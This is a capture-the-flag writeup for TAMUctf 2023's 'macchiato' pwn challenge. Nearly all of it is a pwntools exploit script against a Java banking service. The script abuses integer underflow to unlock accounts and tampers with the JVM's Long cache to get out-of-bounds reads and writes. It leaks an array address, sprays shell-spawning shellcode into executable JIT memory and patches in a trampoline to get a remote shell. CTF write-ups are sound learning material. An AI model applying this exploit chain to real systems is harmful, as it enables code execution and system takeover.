Rating:
The challenge author also released a writeup here:
https://github.com/tamuctf/tamuctf-2023/tree/master/pwn/macchiato
And the winning team released their writeup here:
https://astr.cc/blog/tamuctf-2023-writeup/#macchiato
```
import pwn
import warnings
import time
warnings.filterwarnings(action='ignore', category=BytesWarning)
pwn.context.arch = "amd64"
p = pwn.remote("localhost", "7010")
# p = pwn.remote("tamuctf.com", 443, ssl=True, sni="macchiato")
LONG_MAX = 9223372036854775807
def login(bank, username):
p.sendlineafter("option:", "1")
p.sendlineafter("bank name", bank)
p.sendlineafter("username:", username)
p.recvuntil("ID ")
return int(p.recvuntil("!", drop=True))
def balance(account):
p.sendlineafter("option:", "2")
p.sendlineafter("option:", "1")
p.sendlineafter("number (0-10):", str(account))
p.recvuntil("now $")
out = int(p.recvline())
p.sendlineafter("option", "3")
return out
def withdraw(account, amount):
p.sendlineafter("option:", "2")
p.sendlineafter("option:", "2")
p.sendlineafter("number (0-10):", str(account))
p.sendlineafter("amount", str(amount))
p.sendlineafter("option", "3")
def write_value(account, value):
curr = balance(account)
print(f"{curr=} {value=}")
if value > 0 and curr > 0:
print(f"{balance(account)=}")
withdraw(account, curr)
print(f"{balance(account)=}")
withdraw(account, LONG_MAX)
print(f"{balance(account)=}")
withdraw(account, 2)
print(f"{balance(account)=}")
withdraw(account, LONG_MAX - value + 2)
print(f"{balance(account)=}")
elif value < 0 and curr > 0:
print(f"{balance(account)=}")
withdraw(account, curr - 2)
print(f"{balance(account)=}")
withdraw(account, abs(value) + 2)
print(f"{balance(account)=}")
elif value < 0 and curr < 0:
print(f"{balance(account)=}")
withdraw(account, LONG_MAX - abs(curr))
print(f"{balance(account)=}")
withdraw(account, 2)
print(f"{balance(account)=}")
withdraw(account, 9223372036854775805 - 10)
# withdraw(account, 1)
print(f"{balance(account)=}")
withdraw(account, abs(value) + 12)
print(f"{balance(account)=}")
elif value > 0 and curr < 0:
print(f"0 {balance(account)=}")
withdraw(account, LONG_MAX - abs(curr))
print(f"1 {balance(account)=}")
withdraw(account, 2)
print(f"2 {balance(account)=}")
withdraw(account, LONG_MAX - value)
print(f"3 {balance(account)=}")
assert balance(account) == value, balance(account)
def trigger_crash(account):
p.sendlineafter("option:", "2")
p.sendlineafter("option:", "2")
p.sendlineafter("number (0-10):", str(account))
p.sendlineafter("amount", str(1))
def upgrade():
p.sendlineafter("option:", "3")
# Step 1: Enable BlazinglyFastBank accounts via Underflow
login("RegularBank", "me")
withdraw(0, LONG_MAX)
print(f"{balance(0)=}")
withdraw(0, 2)
print(f"{balance(0)=}")
upgrade()
# Step 2: Modify LongCache by bypass index check
login("java.lang.Long$LongCache", "cache")
print(f"LongCache.balance(0) = {balance(0)=}")
withdraw(128, LONG_MAX)
withdraw(128 + 10, LONG_MAX)
withdraw(128 + 10, 2 + 10)
# Step 3: Login to BlazinglyFastBank and grab hashCode
arrHashCode = login("BlazinglyFastBank", "me")
print(f"{hex(arrHashCode)=}")
# Step 4: Find spray_offsets
# me == 579
# notMe == 567
# notMeEither == 555
for i in range(500, 600):
b = pwn.unsigned(balance(i))
bHigh = b >> 32
bLow = b & 0xFFFFFFFF
print(f"{i=} {hex(arrHashCode)=} {hex(bHigh)=} {hex(bLow)=}")
if arrHashCode == bHigh or arrHashCode == bLow:
print(f"Found hashCode at index {i=}")
# time.sleep(1)
# trigger_crash(-0x1000000 // 8)
# p.interactive()
# Leak arr addr
arr_addr = (pwn.unsigned(balance(574)) >> 32) + 0x10
print(f"{hex(arr_addr)=}")
# Step 5: Inject Shellcode (spray and pray)
spray_addr = 0x800001500
shellcode = pwn.asm(pwn.shellcraft.amd64.sh())
spray_offset = (spray_addr - arr_addr) // 8
i = 0
for chunk in pwn.group(8, shellcode, fill_value="\x90"):
print(f"Writing {hex(spray_offset+i)=} {pwn.u64(chunk, sign='signed')=}")
write_value(spray_offset + i, pwn.u64(chunk, sign="signed"))
i += 1
# Step 6 (Optional): Verify shellcode
i = 0
for chunk in pwn.group(8, shellcode, fill_value="\x90"):
print(f"Writing {hex(spray_offset+i)=} {pwn.u64(chunk, sign='signed')=}")
b = balance(spray_offset + i)
assert pwn.u64(chunk, sign='signed') == b
i += 1
# Step 7 (Optiona): dump rwx asm
asm = b""
for i in range(20):
asm += pwn.p64(balance(spray_offset - (0x1500 // 8) + i), sign="signed")
print(pwn.disasm(asm))
# Step 8 Inject Trampoline
jump = f"""
movabs r10, {spray_addr}
"""
jump_int = pwn.asm(jump)[:8] # ignore final 2 null bytes
print(f"{jump_int=}")
jump_asm = pwn.u64(jump_int, signed='signed')
current_jump_value = balance(spray_offset - (0x1500 // 8))
print(f"{hex(current_jump_value)=}")
print(f"{hex(jump_asm)=}")
withdraw(spray_offset - (0x1500 // 8), current_jump_value - jump_asm)
p.interactive()
```